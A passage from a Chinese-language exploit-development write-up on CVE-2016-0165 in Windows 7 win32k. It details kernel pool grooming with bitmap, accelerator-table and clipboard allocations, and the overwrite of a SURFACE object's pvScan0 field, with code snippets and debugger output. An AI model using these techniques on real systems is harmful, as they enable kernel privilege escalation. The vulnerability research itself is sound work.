本文将对 CVE-2016-0165 (MS16-039) 漏洞进行一次简单的分析,并尝试构造其漏洞利用和内核提权验证代码,以及实现对应利用样本的检测逻辑。分析环境为 Windows 7 x86 SP1 基础环境的虚拟机,配置 1.5GB 的内存。

本文分为三篇:

从 CVE-2016-0165 说起:分析、利用和检测(上)

从 CVE-2016-0165 说起:分析、利用和检测(中)

从 CVE-2016-0165 说起:分析、利用和检测(下)

0x5 利用

前面验证了漏洞的触发机理,接下来将通过该漏洞实现任意地址读写的利用目的。


AddEdgeToGET

根据前面的章节,实现触发该漏洞并引发后续的 OOB 导致系统 BSOD 发生,但由于函数代码逻辑中 cCurves 等相关域的值和实际分配的用来容纳 EDGE 表项的缓冲区大小的差异实在太大,在 AddEdgeToGET 函数中会进行极大范围内的内存访问(超过 4GB 地址空间范围)。不利于在漏洞触发后使系统平稳过渡,好在 AddEdgeToGET 函数中存在忽略当前边而直接返回的判断逻辑:

  if ( pClipRect )
  {
    if ( iYEnd < pClipRect->top || iYStart > pClipRect->bottom )
      return pFreeEdge;
    if ( iYStart < pClipRect->top )
    {
      bClip = 1;
      iYStart = pClipRect->top;
    }
    if ( iYEnd > pClipRect->bottom )
      iYEnd = pClipRect->bottom;
  }
  ipFreeEdge_Y = (iYStart + 15) >> 4;
  *((_DWORD *)pFreeEdge + 3) = ipFreeEdge_Y;
  *((_DWORD *)pFreeEdge + 1) = ((iYEnd + 15) >> 4) - ipFreeEdge_Y;
  if ( ((iYEnd + 15) >> 4) - ipFreeEdge_Y <= 0 )
    return pFreeEdge;

清单 5-1 函数 AddEdgeToGET 中忽略边的判断逻辑

函数中存在两处跳过当前边而直接返回的判断逻辑,返回时由于忽略当前边的数据,所以 pFreeEdge 指针不向后移。第一处返回逻辑可以不做关注,因为 pClipRectAddEdgeToGET 函数的最后 1 个参数,该参数同样作为最后 1 个参数从函数 RGNMEMOBJ::vCreatevConstructGET 直接传递,而在 NtGdiPathToRegion 函数中调用 RGNMEMOBJ::vCreate 时该参数传值为 0,如清单 2-1 中所示,所以不可能命中条件。第二处返回逻辑的判断条件是:当前两点描述的边中,结束坐标点的 Y 轴坐标是否与起始坐标点的 Y 轴坐标相等;如果 Y 轴坐标相等,则忽略这条边,直接返回当前 pFreeEdge 指针指向的地址。此处的右移 4 比特位只是在还原之前在 EPATHOBJ::createrecEPATHOBJ::growlastrec 函数中存储坐标点时左移 4 比特位的数值。

因此可以利用函数的这个特性,通过修改用户进程中传入的各坐标点数据,可以控制缓冲区中 EDGE 元素使用的个数。但由于缓冲区中的 EDGE 元素是逐个写入的,因此通过控制各坐标点的 Y 轴坐标值只能控制从起始位置开始连续写入的 EDGE 个数,而不能控制跳过某些元素节点。

接下来就是最关键且最复杂的部分:内核内存布局。


内核内存布局

内核池风水技术是用来控制内核内存布局的关键技术。通过在分配关键的内核对象之前,首先分配和释放特定长度和数量的其他对象,使内核内存首先处于一个确定的状态,来确保在分配关键的内核对象时,能够被系统内存管模块分配到我们所希望其分配到的某些位置,例如接近某些可控对象的位置。后续利用漏洞通过巧妙使用某些“读写原语”对所分配的关键内核对象后面的内存区域进行操作,以控制原本不能控制的相邻对象的成员数据,这些数据将作为后续利用操作的重要节点。

在着手实施内核内存布局之前,有必要首先了解一下 Windows 的内存池分配机制。在 Windows 系统中,调用 ExAllocatePoolWithTag 分配不超过 0x1000 字节长度的池内存块时,会使用到 POOL_HEADER 结构,作为分配的池内存块的头部。在当前系统环境下 POOL_HEADER 结构的定义:

kd> dt _POOL_HEADER
nt!_POOL_HEADER
   +0x000 PreviousSize     : Pos 0, 9 Bits
   +0x000 PoolIndex        : Pos 9, 7 Bits
   +0x002 BlockSize        : Pos 0, 9 Bits
   +0x002 PoolType         : Pos 9, 7 Bits
   +0x000 Ulong1           : Uint4B
   +0x004 PoolTag          : Uint4B
   +0x004 AllocatorBackTraceIndex : Uint2B
   +0x006 PoolTagHash      : Uint2B

清单 5-2 结构 POOL_HEADER 的定义

在 32 位 Windows 系统环境下 POOL_HEADER 体现在返回值指针向前 8 字节的位置:

win32k!RGNMEMOBJ::vCreate+0xc5:
933a3ffc ff1550005293    call    dword ptr [win32k!_imp__ExAllocatePoolWithTag (93520050)]
kd> dc esp l4
93d1b400  00000021 00000b68 6e677247 00000005  !...h...Grgn....
kd> p
win32k!RGNMEMOBJ::vCreate+0xcb:
933a4002 8b5510          mov     edx,dword ptr [ebp+10h]
kd> r eax
eax=fd674180
kd> !pool fd674180
Pool page fd674180 region is Paged session pool
fd674000 is not a valid large pool allocation, checking large session pool...
 fd674158 size:    8 previous size:    0  (Allocated)  Frag
 fd674160 size:   18 previous size:    8  (Free)       Free
*fd674178 size:  b70 previous size:   18  (Allocated) *Grgn
         Pooltag Grgn : GDITAG_REGION, Binary : win32k.sys
 fd674ce8 size:  318 previous size:  b70  (Allocated)  Gfnt
kd> dc fd674178 l4
fd674178  476e0003 6e677247 00000000 00000000  ..nGGrgn........

清单 5-3 分配内存池时 POOL_HEADER 结构的位置

在调用 ExFreePoolWithTag 函数释放先前分配的池内存块时,系统会校验目标内存块和其所在内存页中相邻的块的 POOL_HEADER 结构;如果检测到块的 POOL_HEADER 被破坏,将会抛出导致系统 BSOD 的 BAD_POOL_HEADER 异常。但在一种情况下例外:那就是如果该池内存块位于所在的内存页的末尾,那么在这次 ExFreePoolWithTag 函数调用期间将不会对相邻内存块进行这个校验。

根据前面的章节可知,漏洞所在函数 RGNMEMOBJ::vCreate 中分配了用于存储中间 EDGE 数据的内存池块,并在函数结束时释放了分配的内存块,所以在这种情况下,就肯定会面临释放内存块时校验相邻 POOL_HEADER 的问题。而如果在 RGNMEMOBJ::vCreate 函数中分配内存块时,能使其分配的内存块处于所在内存页的末尾,后续的 OOB 将会发生在下一个内存页中,虽然会破坏下一内存页中的内存块,但至少在当前函数调用期间释放内存块时不去校验相邻块的 POOL_HEADER 结构,问题就得以解决。


图 5-1 篡改下一个内存页起始内存块的数据

接下来需要找到最佳的内存布局方式。函数 RGNMEMOBJ::vCreate 中所分配的内存块的 PoolType 参数是 0x21 属于分页会话池(Paged session pool)类型,因此要找出能够分配可控大小的此类型内存块以进行内存布局的其他函数。


创建位图对象

在本文中考虑通过调用 gdi32!CreateBitmap 函数在内核分配合适的位图 SURFACE 对象和位图像素数据,一是由于位图 SURFACE 对象便于控制大小,二是因为管理位图的 SURFACE 对象中存在一些便于后续展开内核利用的成员域。SURFACE 类是内核中所有位图 SURFACE 对象的管理对象类,其成员变量 SURFOBJ soSURFOBJ 结构体实例,存在于 SURFACE+0x10 字节偏移的位置。根据相关文档显示,任何内核 GDI 对象类的基类都是一个称作 _BASEOBJECT 的结构,SURFACE 对象也不例外。该结构在 32 位 Windows 系统环境下占用 0x10 字节的内存空间,定义如下:

typedef struct _BASEOBJECT {
    HANDLE     hHmgr;
    PVOID      pEntry;
    LONG       cExclusiveLock;
    PW32THREAD Tid;
} BASEOBJECT, *POBJ;

清单 5-4 结构体 _BASEOBJECT 定义

结构体 SURFOBJ 的定义如下:

typedef struct tagSIZEL {
    LONG cx;
    LONG cy;
} SIZEL, *PSIZEL;

typedef struct _SURFOBJ {
    DHSURF  dhsurf;         //<[00,04] 04
    HSURF   hsurf;          //<[04,04] 05
    DHPDEV  dhpdev;         //<[08,04] 06
    HDEV    hdev;           //<[0C,04] 07
    SIZEL   sizlBitmap;     //<[10,08] 08 09
    ULONG   cjBits;         //<[18,04] 0A
    PVOID   pvBits;         //<[1C,04] 0B
    PVOID   pvScan0;        //<[20,04] 0C
    LONG    lDelta;         //<[24,04] 0D
    ULONG   iUniq;          //<[28,04] 0E
    ULONG   iBitmapFormat;  //<[2C,04] 0F
    USHORT  iType;          //<[30,02] 10
    USHORT  fjBitmap;       //<[32,02] xx
} SURFOBJ;

清单 5-5 结构体 SURFOBJ 定义

函数 CreateBitmap 的原型如下:

HBITMAP CreateBitmap(
  _In_       int  nWidth,
  _In_       int  nHeight,
  _In_       UINT cPlanes,
  _In_       UINT cBitsPerPel,
  _In_ const VOID *lpvBits
);

该函数用来创建指定宽度、高度、和颜色格式(调色盘和像素位)的位图。位图在内核中作为一种 GDI 对象,使用关联的 SURFACE 对象作为管理对象。通过适当指定前 4 个参数,可精确控制分配的内核内存块的大小;由于此处需要在内核中分配像素数据,所以参数 lpvBits 不做考虑,直接传 NULL。最终分配内存是通过在 win32k!Win32AllocPool 函数中调用 ExAllocatePoolWithTag 进行的。调用路径如下:


图 5-2 从函数 CreateBitmap 到 ExAllocatePoolWithTag 的调用路径

GreCreateBitmap 函数中,根据传入的 cPlanescBitsPerPel 参数确定位图的像素位类型:

  if ( v5 <= 1 )
  {
    v6 = 1;
    v13 = hpalMono;
    goto LABEL_18;
  }
  if ( v5 <= 4 )
  {
    v9 = 2;
LABEL_16:
    v6 = v9;
    goto LABEL_18;
  }
  if ( v5 <= 8 )
  {
    v9 = 3;
    goto LABEL_16;
  }
  if ( v5 <= 16 )
  {
    v9 = 4;
    goto LABEL_16;
  }
  v6 = (v5 > 24) + 5;

清单 5-6 函数 GreCreateBitmap 确定位图的位数类型

确定的位图像素位类型接下来在 SURFMEM::bCreateDIB 函数中被用来确定位图数据扫描线的长度。在这里需要理解扫描线的概念:在 Windows 内核中处理位图像素数据时,通常是以一行作为单位进行的,像素的一行被称为扫描线,而扫描线的长度就表示的是在位图数据中向下移动一行所需的字节数。

位图数据扫描线的长度是由位图像素位类型和位图像素宽度决定的:

  v12 = *(_DWORD *)a2 - 1;
  v40 = 1;
  v44 = 0;
  switch ( v12 )
  {
    case 0:
      v13 = *((_DWORD *)a2 + 1);
      if ( v13 >= 0xFFFFFFE0 )
        return 0;
      v14 = (struct _DEVBITMAPINFO *)(((v13 + 31) >> 3) & 0x1FFFFFFC);
      goto LABEL_4;
    case 1:
      v15 = *((_DWORD *)a2 + 1);
      if ( v15 >= 0xFFFFFFF8 )
        return 0;
      v14 = (struct _DEVBITMAPINFO *)(((v15 + 7) >> 1) & 0x7FFFFFFC);
      goto LABEL_4;
    case 2:
      v16 = *((_DWORD *)a2 + 1);
      if ( v16 >= 0xFFFFFFFC )
        return 0;
      v17 = v16 + 3;
      goto LABEL_9;
    case 3:
      v18 = *((_DWORD *)a2 + 1);
      if ( v18 >= 0xFFFFFFFE || v18 + 1 >= 0x7FFFFFFF )
        return 0;
      v17 = 2 * v18 + 2;
      goto LABEL_9;
    case 4:
      v19 = *((_DWORD *)a2 + 1);
      if ( v19 >= 0x55555554 )
        return 0;
      v17 = 3 * (v19 + 1);
LABEL_9:
      v14 = (struct _DEVBITMAPINFO *)(v17 & 0xFFFFFFFC);
      goto LABEL_4;
      ...
  }

清单 5-7 函数 SURFMEM::bCreateDIB 用位图类型确定位图扫描线的长度

位图扫描线长度和位图像素高度的乘积作为该位图数据缓冲区的大小。在调用 CreateBitmap 传入参数时,如果 cPlanes 调色盘参数指定为 1cBitsPerPel 像素位参数指定为 8 位,则内核中计算分配的位图数据缓冲区大小的计算公式:

size = ((cxBitmap + 3) & ~3) * cyBitmap;

这样的话,当像素宽度参数为 4 的倍数时,像素宽度和高度参数的乘积将直接等于内核中分配的位图像素数据缓冲区的所需大小。这是由于虽然 8 位的位图像素点存储占用 1 字节,但位图数据扫描线长度是按照 4 字节对齐的,所以不足 4 字节的需补齐 4 字节。而对于 32 位像素点的位图,由于单个像素点存储占用 32 位即 4 字节内存空间,则位图扫描线的长度就等于位图像素宽度的 4 倍,分配像素点数据缓冲区大小的计算公式变成:

size = (cxBitmap << 2) * cyBitmap;

位图数据扫描线的长度以 4 字节为单位进行对齐,各种位图像素格式的扫描线对齐方式如下:


图 5-3 各种位图像素格式的扫描线对齐方式

根据代码逻辑显示,当位图 SURFACE 对象的总大小在 0x1000 字节之内的话,分配内存时,将分配对应位图像素数据大小加 SURFACE 管理对象大小的缓冲区,直接以对应的 SURFACE 管理对象作为缓冲区头部,位图像素数据紧随其后存储。在当前系统环境下,SURFACE 对象的大小为 0x154 字节。

对象分配成功后,函数初始化各个成员的值时,将把位图像素点数据占用总字节数存储在 SURFACE+0x28 字节偏移的成员(即 SURFACE->so.cjBits 成员),把位图像素数据的起始位置存储在 SURFACE+0x2C 字节偏移的成员(即 SURFACE->so.pvBits 成员)中,并在随后将 pvBits 的值更新到 +0x30 字节偏移的成员(即 SURFACE->so.pvScan0 成员)中:

  if ( BaseAddress || Object )
    *((_DWORD *)*v9 + 0xB) = BaseAddress;
  else
    *((_DWORD *)*v9 + 0xB) = (char *)*v9 + SURFACE::tSize;
  v33 = *(_DWORD *)v10;
  if ( *(_DWORD *)v10 != 8 && v33 != 7 && v33 != 9 && v33 != 10 )
  {
    *((_DWORD *)*v9 + 0xA) = (_DWORD)a2 * *((_DWORD *)v10 + 2);
    if ( !(*((_BYTE *)v10 + 0x14) & 1) )
    {
      ...
    }
    *((_DWORD *)*v9 + 0xD) = a2;
    goto LABEL_76;
  }
  ...
  {
LABEL_76:
    *((_DWORD *)*v9 + 0xC) = *((_DWORD *)*v9 + 0xB);
    goto LABEL_78;
  }

清单 5-8 函数 SURFMEM::bCreateDIB 初始化 SURFOBJ 关键成员

位图数据扫描线的长度被存储在 +0x34 字节偏移的成员(即 SURFACE->so.lDelta 成员)中。

这样一来,成员 pvScan0 将指向当前位图 SURFACE 对象的像素点数据缓冲区的起始位置。在后续对位图像素点进行读写访问时,系统位图解析模块将以该对象的 pvScan0 成员存储的地址作为像素点数据区域起始地址。


图 5-4 成员 pvScan0 指向像素点数据区域起始地址

由于太小的内存块在分配时被安置在随机区域的可能性大很多,所以为了能使 RGNMEMOBJ::vCreate 函数分配的内存块能更大概率地被分配在我们精心安排的空隙中,现在将其分配的内存大小稍作提升,从 0x18 提升到 0x68 字节,加上 POOL_HEADER 结构的 8 字节,将会占用 0x70 字节的池内存空间。这样一来,画线数目就需要从 0x6666665 提升到 0x6666667 条。

在此处打算通过多次调用 CreateBitmap 函数分配大量的 0xF90 大小的内存块,以留下足够多的 0x70 字节间隙作为 RGNMEMOBJ::vCreate 分配 0x70 字节内存块时的空间候选。根据 Windows 内核池内存分配逻辑,在分配不超过内存页大小的内存块时,分配的内存块越大,被分配到内存页起始位置的概率越大(但并不是绝对的,只是概率增大;只要存在恰好容纳该大小内存块的内存空隙,内存块就会被分配在其中的)。在前面的段落中提到,位图 SURFACE 对象的像素数据大小不超过 0x1000 字节时,分配的内存将 SURFACE 类对象包含在内并放置在缓冲区开始位置,占据 0x154 字节的内存空间。除去池内存块的 POOL_HEADER 头部结构的 8 字节大小和 SURFACE 类对象的大小,实际需要分配的位图像素数据的大小为 0x‭E34‬ 字节。计算后得到如下参数值:

CreateBitmap(0xE34, 0x01, 1, 8, NULL);

编译后实际执行时可以观察到,函数 AllocateObject 中分配的对象内存被分配在一个内存页的起始位置,内存块的大小为 0xF90 字节,其后留有 0x70 字节的空闲内存空间:

win32k!SURFMEM::bCreateDIB+0x25c:
94190172 e8c51cffff      call    win32k!AllocateObject (94181e3c)
kd> dc esp l4
97bb7b18  00000f88 00000005 00000001 00000001  ................
kd> p
win32k!SURFMEM::bCreateDIB+0x261:
94190177 8903            mov     dword ptr [ebx],eax
kd> !pool eax
Pool page ffa0e008 region is Paged session pool
*ffa0e000 size:  f90 previous size:    0  (Allocated) *Gh15
         Pooltag Gh15 : GDITAG_HMGR_SURF_TYPE, Binary : win32k.sys
 ffa0ef90 size:   70 previous size:  f90  (Free)       ....

清单 5-9 函数 AllocateObject 分配的对象内存的内存块位置和大小

接下来就是执行前面漏洞验证章节类似的代码以触发漏洞。但在笔者实际测试的时候发现,函数 RGNMEMOBJ::vCreate 调用 ExAllocatePoolWithTag 分配的内存块并不会被安置在我们所预留的大量的 0x70 字节大小的空间中,而仍旧被分配在了一些随机的空隙。这是由于系统中原本就恰好存在一些 0x70 字节的空隙,这样一来就需要提前将这些空隙填充,以迫使漏洞关键缓冲区被分配在我们预留的空隙中。

原本打算继续通过调用传入特定参数的 CreateBitmap 函数填充系统原有的 0x70 字节的空隙,但由于 SURFACE 头部结构就已经占据了 0x154 字节的大小,所以未能成行。在这里参考一些其他的分析文章,转为使用 CreateAcceleratorTable 函数。通过调用比 CreateBitmap 更多次数的 CreateAcceleratorTableA 函数创建 AcceleratorTable 内核对象以填充内存空隙、然后在其中制造空洞的方式,为使 RGNMEMOBJ::vCreate 分配的内存块能够命中我们安排的空洞提升更大的概率。


创建快捷键对应表

函数 CreateAcceleratorTableA/W 用来在内核中创建快捷键对应表。该函数存在 LPACCEL lpacclint cAccel 两个参数。参数 lpaccl 作为指向 ACCEL 结构体类型数组的指针,cAccel 表示数组的元素个数。结构体 ACCEL 的定义如下:

typedef struct tagACCEL {
    BYTE   fVirt;
    WORD   key;
    WORD   cmd;
} ACCEL, *LPACCEL;

清单 5-10 结构体 ACCEL 的定义

该结构体用于定义使用在快捷键对应表中的快捷键,单个元素占用 6 字节内存空间。通过函数 CreateAcceleratorTableA 分配内核池内存块的调用路径:


图 5-5 函数 CreateAcceleratorTable 分配内核池内存块的调用路径

在函数 win32k!NtUserCreateAcceleratorTable 中将参数 cAccel 乘结构体 ACCEL 的大小 0x6 并作为参数 a2 传入 _CreateAcceleratorTable 函数;在 CreateAcceleratorTable 函数中参数 a2 被增加 0x12,增加后的数值作为分配对象的完整大小并被传入 HMAllocObject 函数调用。0x12 是管理 AcceleratorTable 数据的结构体 ACCELTABLE 的大小。随后在 ExAllocatePoolWithQuotaTag 函数中进行一系列参数变换并最终调用 ExAllocatePoolWithTag 函数分配内存块。

注意到在 Win32AllocPoolWithQuota 函数中调用 nt!ExAllocatePoolWithQuotaTag 函数时传入的 PoolType 参数为 0x29,该数值是 0x210x08 进行逻辑或运算后的数值。0x08 在此表示 POOL_QUOTA_FAIL_INSTEAD_OF_RAISE 标志位,用于在调用分配内核池内存块的函数时,当内存分配失败,指示函数返回 NULL 而不是抛出异常。

  bRaiseFail = 1;
  if ( PoolType & 8 )
  {
    bRaiseFail = 0;
    PoolType &= 0xFFFFFFF7;
  }
  _Process = KeGetCurrentThread()->ApcState.Process;
  _PoolType = PoolType + 8;
  if ( NumberOfBytes > 0xFF4 || _Process == PsInitialSystemProcess )
    _PoolType = (unsigned __int8)_PoolType - 8;
  else
    NumberOfBytes += 4;
  buffer = ExAllocatePoolWithTag(_PoolType, NumberOfBytes, Tag);

清单 5-11 函数 ExAllocatePoolWithQuotaTag 执行参数变换

当分配的内存块大小不超过 0xFF4 字节时,函数 ExAllocatePoolWithQuotaTag 在调用 ExAllocatePoolWithTag 分配内存之前会将内存块大小参数增加 4 字节。这样一来,我们在调用 CreateAcceleratorTableA 函数时,只需给参数 cAccel 指定 0x0D 数值,并为参数 lpaccl 指向的缓冲区安排足够个数的元素,那么在内核中分配的内存块包括 POOL_HEADER 结构在内将是 0x70 字节大小,末尾不足 8 字节的会补齐 8 字节。

nt!ExAllocatePoolWithQuotaTag+0x52:
83eb4bf1 e80f940700      call    nt!ExAllocatePoolWithTag (83f2e005)
kd> dd esp l4
98bafb40  00000029 00000064 63617355 00000008
kd> p
nt!ExAllocatePoolWithQuotaTag+0x57:
83eb4bf6 8bf0            mov     esi,eax
kd> !pool eax
Pool page ff4aa5d8 region is Paged session pool
ff4aa000 is not a valid large pool allocation, checking large session pool...
 ff4aa5c8 size:    8 previous size:    0  (Allocated)  Frag
*ff4aa5d0 size:   70 previous size:    8  (Allocated) *Usac Process: 87601588
         Pooltag Usac : USERTAG_ACCEL, Binary : win32k!_CreateAcceleratorTable
 ff4aa640 size:  320 previous size:   70  (Allocated)  Gh15
 ff4aa960 size:  6a0 previous size:  320  (Allocated)  Gh15

清单 5-12 分配的 AcceleratorTable 池内存块


内存块空洞

这样的话,通过多次的 CreateAcceleratorTableA 函数调用正好会填充大量的 0x70 字节大小的内存空洞。需要注意的是,这些多次调用的 CreateAcceleratorTableA 函数调用需要放在通过 CreateBitmap 函数以分配 0xF90 字节的内核内存块的代码逻辑之后执行,以便同时填充这些位图 SURFACE 对象所在的内存页中预留的 0x70 空隙。随后通过 DestroyAcceleratorTable 函数释放掉中间一部分 AcceleratorTable 对象,为 RGNMEMOBJ::vCreate 函数留下足够多的机会。


图 5-6 内核内存布局的内存块空洞预留给漏洞函数

制造 0x70 字节内存块空洞的验证代码如下:

for (LONG i = 0; i < 5000; i++)
{
    hbitmap[i] = CreateBitmap(0xE34, 0x01, 1, 8, NULL);
}
for (LONG i = 0; i < 7000; i++)
{
    ACCEL acckey[0x0D] = { 0 };
    hacctab[i] = CreateAcceleratorTableA(acckey, 0x0D);
}
for (LONG i = 2000; i < 4000; i++)
{
    DestroyAcceleratorTable(hacctab[i]);
    hacctab[i] = NULL;
}

清单 5-13 通过 AcceleratorTable 填充间隙并制造空洞的验证代码片段

编写代码编译后在环境中执行,观测到 RGNMEMOBJ::vCreate 函数分配的内存块成功命中在我们安排的内存间隙中,其相邻的内存页也都符合我们先前构造的内存布局:

win32k!RGNMEMOBJ::vCreate+0xc5:
93fc3ffc ff1550001494    call    dword ptr [win32k!_imp__ExAllocatePoolWithTag (94140050)]
kd> dc esp l4
980a9828  00000021 00000068 6e677247 0f010743  !...h...GrgnC...
kd> p
win32k!RGNMEMOBJ::vCreate+0xcb:
93fc4002 8b5510          mov     edx,dword ptr [ebp+10h]
kd> !pool eax
Pool page cae5ef98 region is Paged session pool
 cae5e000 size:  f90 previous size:    0  (Allocated)  Gh15
*cae5ef90 size:   70 previous size:  f90  (Allocated) *Grgn
         Pooltag Grgn : GDITAG_REGION, Binary : win32k.sys
kd> !pool (eax&fffff000)+0x1000
Pool page cae5f000 region is Paged session pool
*cae5f000 size:  f90 previous size:    0  (Allocated) *Gh15
         Pooltag Gh15 : GDITAG_HMGR_SURF_TYPE, Binary : win32k.sys
 cae5ff90 size:   70 previous size:  f90  (Free )  Usac Process: 876936d8
kd> !pool (eax&fffff000)-0x1000
Pool page cae5d000 region is Paged session pool
*cae5d000 size:  f90 previous size:    0  (Allocated) *Gh15
         Pooltag Gh15 : GDITAG_HMGR_SURF_TYPE, Binary : win32k.sys
 cae5df90 size:   70 previous size:  f90  (Free)       Usac

清单 5-14 函数 RGNMEMOBJ::vCreate 分配的内存块命中内存间隙


POOL_HEADER

在这里观测内存块的 POOL_HEADER 结构各域的值:

kd> dt _POOL_HEADER cae5ef90
nt!_POOL_HEADER
   +0x000 PreviousSize     : 0y111110010 (0x1f2)
   +0x000 PoolIndex        : 0y0000000 (0)
   +0x002 BlockSize        : 0y000001110 (0xe)
   +0x002 PoolType         : 0y0100011 (0x23)
   +0x000 Ulong1           : 0x460e01f2
   +0x004 PoolTag          : 0x6e677247
   +0x004 AllocatorBackTraceIndex : 0x7247
   +0x006 PoolTagHash      : 0x6e67

清单 5-15 当前内存块的 POOL_HEADER 结构各域的值

需要关注的是 PreviousSize / PoolIndex / BlockSize / PoolType / PoolTag 五个成员域。根据本章节前面的内容可知,POOL_HEADER 结构的成员域 PreviousSizeBlockSize 的长度都是 9 比特位,而 PoolIndexPoolType 都是 7 比特位。成员 PoolTag32 位的整数,用于表示当前内存块的 Tag 标记。成员 PreviousSize 和 BlockSize 中存储的数值都需要左移 3 比特位才能与实际大小对应。在这里 PreviousSize 的值 0x1F2 左移 3 位之后是 0xF90 表示前一个内存块的大小是 0xF90 字节;而 BlockSize 的值 0xE 左移 3 位之后是 0x70 表示当前内存块的大小是 0x70 字节。

接下来观测下一内存页起始内存块的 POOL_HEADER 结构,以便在后续的操作中对被破坏 POOL_HEADER 结构进行修复:

kd> dt _POOL_HEADER cae5e000 
nt!_POOL_HEADER
   +0x000 PreviousSize     : 0y000000000 (0)
   +0x000 PoolIndex        : 0y0000000 (0)
   +0x002 BlockSize        : 0y111110010 (0x1f2)
   +0x002 PoolType         : 0y0100011 (0x23)
   +0x000 Ulong1           : 0x47f20000
   +0x004 PoolTag          : 0x35316847
   +0x004 AllocatorBackTraceIndex : 0x6847
   +0x006 PoolTagHash      : 0x3531

清单 5-16 下一内存块的 POOL_HEADER 结构各域的值

下一个内存页起始内存块是我们之前构造内存布局时分配的其中之一的位图 SURFACE 对象。由于是内存页的起始内存块,因此其 POOL_HEADER 结构的 PreviousSize 成员值为 0;成员 BLockSize 的值 0x1F2 表示当前内存块的大小是 0xF90 字节;成员 PoolType 的值表示内存块类型和一些属性标志位,此处值为 0x23。成员 PoolIndex 具体作用暂时为知,但根据观测多个位图 SURFACE 对象内存块发现该值都为 0,因此在后续的修复过程中直接对该值赋值为 0 即可。

到目前为止已经能够控制 RGNMEMOBJ::vCreate 函数将内存块分配在指定的内存页末尾。接下来将研究如何利用由溢出漏洞导致的后续 OOB 漏洞篡改指定对象成员域达到任意地址读写的目的。


溢出覆盖内存块

我对验证代码进行特别修改,将传入 PolylineTo 函数调用的坐标点序列的 Y 轴坐标值都修改成相同的,并只单独修改前 6 个坐标点的 Y 轴为其他互不相同的值。这样一来将只有前 7 个 EDGE 元素会被写入 RGNMEMOBJ::vCreate 函数分配的内存缓冲区;内存缓冲区的大小为 0x68 字节,因此只能容纳不到 3EDGE 元素,后续的写入将发生在下一内存页的起始内存块,即前面分配的其中之一的位图 SURFACE 对象缓冲区。在这里我们希望发生的 OOB 能够覆盖 SURFOBJ 结构的 sizlBitmappvScan0 域。域 sizlBitmap 存储位图的宽和高的大小,成员域 pvScan0 指向位图像素数据的起始地址。

通过编译代码在环境中执行后观测到:

win32k!RGNMEMOBJ::vCreate+0xc5:
939e3ffc ff155000b693    call    dword ptr [win32k!_imp__ExAllocatePoolWithTag (93b60050)]
kd> dd esp l4
a129f828  00000021 00000068 6e677247 0d0106fb
kd> p
win32k!RGNMEMOBJ::vCreate+0xcb:
939e4002 8b5510          mov     edx,dword ptr [ebp+10h]
kd> r eax
eax=cae61f98
kd> dc cae62000 l 10 
cae62000  47f20000 35316847 01050fc3 00000000  ...GGh15........
cae62010  00000000 00000000 00000000 01050fc3  ................
cae62020  00000000 00000000 00000e34 00000001  ........4.......
cae62030  00000e34 cae6215c cae6215c 00000e34  4...\!..\!......
kd> p
...
kd> p
win32k!RGNMEMOBJ::vCreate+0x1d7:
939e410e e8a7000d00      call    win32k!vConstructGET (93ab41ba)
kd> p
win32k!RGNMEMOBJ::vCreate+0x1dc:
939e4113 8365cc00        and     dword ptr [ebp-34h],0
kd> dc cae62000 l 10 
cae62000  00000100 00000001 00000001 00000001  ................
cae62010  cae63668 00000001 00000003 00000005  h6..............
cae62020  ffffffff 00000000 00000100 00000001  ................
cae62030  00000001 00000001 cae63640 00000001  ........@6......
cae62040  00000005 00000006 ffffffff 00000000  ................
cae62050  00000100 00000001 00000001 00000001  ................
cae62060  a129fb60 00000001 00000006 00000007  `.).............
cae62070  ffffffff 00000000 00000100 00000001  ................

清单 5-17 函数 vConstructGET 将下一内存块数据覆盖

下一内存页的起始内存块中的数据,包括 POOL_HEADER 结构在内,已被 vConstructGET 函数调用中的执行逻辑所覆盖。从 0xcae62008 地址开始是管理位图 SURFACE 对象的 SURFACE 对象。根据偏移计算得知,域 sizlBitmap 位于 0xcae62028 位置,域 pvScan0 位于 0xcae62038 位置。两者的值都没有被复写成理想的值,但是注意到有几处地址的数据被修改成 0xFFFFFFFF 这样的特殊值。

这样一来就不能使位图 SURFACE 对象直接作为内存页的起始位置,需要在 EDGE 缓冲区内存块和位图 SURFACE 对象内存块之间增加“垫片”,以使 0xFFFFFFFF 这样的特殊值能被覆盖到我们特别关注的域中。


垫片

在分配快捷键对应表 AcceleratorTable 序列之后,通过调用 DeleteObject 函数释放掉前面分配的所有位图对象。此时会留出大量的 0xF90 大小的内存空隙。接下来需要分配用作垫片的缓冲区内存块,使其间隔在 EDGE 缓冲区内存块和用于覆盖篡改的位图 SURFACE 对象内存块之间。该内存块需要拥有较大的大小,以使其尽可能地被安排在我们刚刚留出的 0xF90 内存空隙的开始位置。分配用作垫片的缓冲区可以用很多方式,看个人意愿,在本分析中选择通过设置剪贴板数据的方式:

VOID
CreateClipboard(DWORD Size)
{
    PBYTE Buffer = (PBYTE)malloc(Size);
    FillMemory(Buffer, Size, 0x41);
    Buffer[Size - 1] = 0x00;
    HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, (SIZE_T)Size);
    CopyMemory(GlobalLock(hMem), Buffer, (SIZE_T)Size);
    GlobalUnlock(hMem);
    SetClipboardData(CF_TEXT, hMem);
}

清单 5-18 创建剪贴板数据对象的验证代码片段

设置剪贴板数据的函数 SetClipboardData 用于将数据以指定剪贴板格式放置在剪贴板中,其第二个参数 HANDLE hMem 接受指向某个内存区的句柄。在该函数中获取句柄参数 hMem 指向内存区的大小,并调用 ConvertMemHandle 未导出函数,随后在 ConvertMemHandle 函数中调用 win32k 中的 NtUserConvertMemHandle 系统调用。

win32k!NtUserConvertMemHandle 调用的 _ConvertMemHandle 函数中通过 HMAllocObject 函数分配用户对象,分配的对象大小为传入的数据大小参数加 0x0C 字节的结构体 CLIPDATA 的大小。在 HMAllocObject 函数中选择不适用进程配额的方式分配内存,所以不会给请求缓冲区大小增加 4 字节,所以最终分配的内存块大小是传入的数据大小参数加 0x14 字节,内存块类型为分页会话池。因此,为了分配 0xB70 大小的内存块,在用户进程中传入 SetClipboardData 函数调用的内存区句柄指向的内存区的大小应该是 0xB5C 字节。

  v2 = a2 + 0xC;
  if ( a2 >= 0xFFFFFFF4 )
    v2 = 12;
  if ( v2 >= a2 && (v3 = HMAllocObject(0, 0, 6, v2), (v4 = (int *)v3) != 0) )
  {
    *(_DWORD *)(v3 + 8) = a2;
    memcpy((void *)(v3 + 0xC), a1, a2);
    result = *v4;
  }

清单 5-19 函数 ConvertMemHandle 调用 HMAllocObject 以分配对象

